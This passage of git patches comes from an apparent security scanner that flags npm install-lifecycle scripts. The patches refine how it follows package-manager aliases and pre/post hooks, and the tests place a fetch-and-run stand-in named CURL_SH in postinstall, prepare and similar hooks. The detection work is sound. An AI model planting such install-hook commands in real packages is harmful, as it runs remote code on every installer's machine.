["critical"]); + }); + test("a self-referencing script terminates", () => { assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run a" }), ["low"]); assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run b", b: `npm run a && ${CURL_SH}` }), ["critical"]); From 88803f27177f82a5b1d568e9aeaff75b92eb3445 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:31:49 +0200 Subject: [PATCH 8/9] refactor(core): drop install-only aliases the unconditional install pass covers --- packages/core/src/rules/install-scripts.ts | 5 ++--- packages/core/test/security-npm-run.test.ts | 2 -- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index d8c49b7..6fffdce 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -381,13 +381,12 @@ const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); const INSTALL_SCRIPTS = ["preinstall", "install", "postinstall", "prepublish", "prepare"]; const PM_COMMANDS = new Map([ ...["t", "tst"].map((c) => [c, ["test"]] as [string, string[]]), - ...["it", "install-test", "cit", "install-ci-test", "clean-install-test", "sit"].map((c) => [c, [...INSTALL_SCRIPTS, "test"]] as [string, string[]]), + // Install scripts are followed for every package-manager command, so install aliases need no entry. + ...["it", "install-test", "cit", "install-ci-test", "clean-install-test", "sit"].map((c) => [c, ["test"]] as [string, string[]]), ["restart", ["restart", "stop", "start"]], ["pack", ["prepack", "prepare", "postpack"]], ["publish", ["prepublishOnly", "prepack", "prepare", "postpack", "publish", "postpublish"]], ...["version", "verison"].map((c) => [c, ["preversion", "version", "postversion"]] as [string, string[]]), - ...["install", "i", "ci", "rebuild", "rb", "clean-install", "ic", "install-clean", "isntall-clean", "add", "in", "ins", "inst", "insta", "instal", "isnt", "isnta", "isntal", "isntall"] - .map((c) => [c, INSTALL_SCRIPTS] as [string, string[]]), ]); const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`"; diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts index 86e8996..42df2f4 100644 --- a/packages/core/test/security-npm-run.test.ts +++ b/packages/core/test/security-npm-run.test.ts @@ -135,14 +135,12 @@ describe("install hooks follow package-manager script references", () => { test("any package-manager invocation follows the install lifecycle scripts", () => { assert.deepEqual(sev({ postinstall: "npm ci", prepublish: CURL_SH }), ["critical"]); assert.deepEqual(sev({ postinstall: "yarn", prepare: CURL_SH }), ["critical"]); - assert.deepEqual(sev({ postinstall: "npm frobnicate", prepare: CURL_SH }), ["critical"]); assert.deepEqual(sev({ postinstall: "npm --silent", prepare: CURL_SH }), ["critical"]); assert.deepEqual(sev({ postinstall: "echo hi", prepare: CURL_SH }), ["low"]); // not a package manager }); test("`sit` and the other install-test aliases reach test", () => { for (const c of ["sit", "clean-install-test"]) assert.deepEqual(sev({ postinstall: `npm ${c}`, test: CURL_SH }), ["critical"], c); - assert.deepEqual(sev({ postinstall: "npm isntall-clean", prepare: CURL_SH }), ["critical"]); }); test("a self-referencing script terminates", () => { From 5edc8f163ced7178faa7697f4185feb9761d550e Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:33:51 +0200 Subject: [PATCH 9/9] fix(core): follow pre/post hooks of the install lifecycle scripts npm runs preprepare and postprepare (and the other pre/post pairs) during install. The removed install-alias entries had covered them through the pre/post loop; the unconditional install pass now does. --- packages/core/src/rules/install-scripts.ts | 2 +- packages/core/test/security-npm-run.test.ts | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 6fffdce..001d0a2 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -245,7 +245,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c */ const followScriptWords = (words: string[], from: number, out: Set): void => { // Any package-manager invocation may run the install lifecycle (`npm ci`, bare `yarn`, an alias nobody listed). - for (const n of INSTALL_SCRIPTS) enqueue(n); + for (const n of INSTALL_SCRIPTS) { enqueue(`pre${n}`); enqueue(n); enqueue(`post${n}`); } // npm runs preprepare/postprepare too for (let j = from; j < words.length; j++) { const w = words[j]!; for (const x of [w, ...(PM_COMMANDS.get(w) ?? [])]) { diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts index 42df2f4..bb66515 100644 --- a/packages/core/test/security-npm-run.test.ts +++ b/packages/core/test/security-npm-run.test.ts @@ -136,6 +136,8 @@ describe("install hooks follow package-manager script references", () => { assert.deepEqual(sev({ postinstall: "npm ci", prepublish: CURL_SH }), ["critical"]); assert.deepEqual(sev({ postinstall: "yarn", prepare: CURL_SH }), ["critical"]); assert.deepEqual(sev({ postinstall: "npm --silent", prepare: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm ci", preprepare: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm ci", postprepare: CURL_SH }), ["critical"]); assert.deepEqual(sev({ postinstall: "echo hi", prepare: CURL_SH }), ["low"]); // not a package manager });